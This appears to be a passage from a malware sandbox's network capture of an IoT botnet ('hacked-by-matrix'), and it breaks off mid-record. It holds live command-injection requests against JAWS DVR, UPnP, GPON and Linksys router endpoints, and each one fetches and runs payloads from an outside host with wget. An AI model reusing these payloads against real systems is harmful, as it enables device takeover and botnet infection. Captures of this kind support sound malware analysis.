#7.41e34817.1710995199.0<P>https://errors.edgesuite.net/7.41e34817.1710995199.0</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1295	192.168.2.23	36800	40.82.218.181	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:39.648643970 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:39.949317932 CET	31	IN	Data Raw: 73 65 72 76 69 63 65 20 75 6e 61 76 61 69 6c 61 62 6c 65 Data Ascii: service unavailable
Mar 21, 2024 05:26:40.655689955 CET	31	IN	Data Raw: 73 65 72 76 69 63 65 20 75 6e 61 76 61 69 6c 61 62 6c 65 Data Ascii: service unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port
1296	192.168.2.23	50100	220.133.212.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:39.648690939 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:39.944485903 CET	1286	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 2c 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 Data Ascii: <!doctype html><html><head> <link rel="icon" href="data:,"> <title>DVR</title> <meta http-equiv="MSThemeCompatible" content="yes" /> <meta http-equiv="content-type" content="text/html; charset=UTF-8" /></head><b
Mar 21, 2024 05:26:39.944541931 CET	1075	IN	Data Raw: 68 5f 54 57 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 74 79 6c 65 3d 22 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 30 70 78 22 20 73 72 63 Data Ascii: h_TW" target="_blank"> <img style="border-width: 0px" src="android.png" width="250" height="125" /> </a> </td> <td> <a href="http://itunes.app

Session ID	Source IP	Source Port	Destination IP	Destination Port
1297	192.168.2.23	46510	103.35.86.226	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:41.039900064 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:26:45.161767960 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:26:51.304903030 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:27:03.337599993 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1298	192.168.2.23	33202	109.172.251.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:41.349935055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1299	192.168.2.23	46682	42.98.171.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:41.349937916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1300	192.168.2.23	51216	172.65.198.155	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:41.579838037 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1301	192.168.2.23	57514	148.0.248.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:44.138552904 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:45.003520012 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1302	192.168.2.23	56924	195.159.251.17	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:44.169622898 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:45.131516933 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:45.314496040 CET	496	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:45 GMT Server: Apache/2.4.57 (Ubuntu) Content-Length: 302 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 65 73 74 73 65 72 76 65 72 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.57 (Ubuntu) Server at testserver Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1303	192.168.2.23	49498	2.252.139.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:44.360405922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: 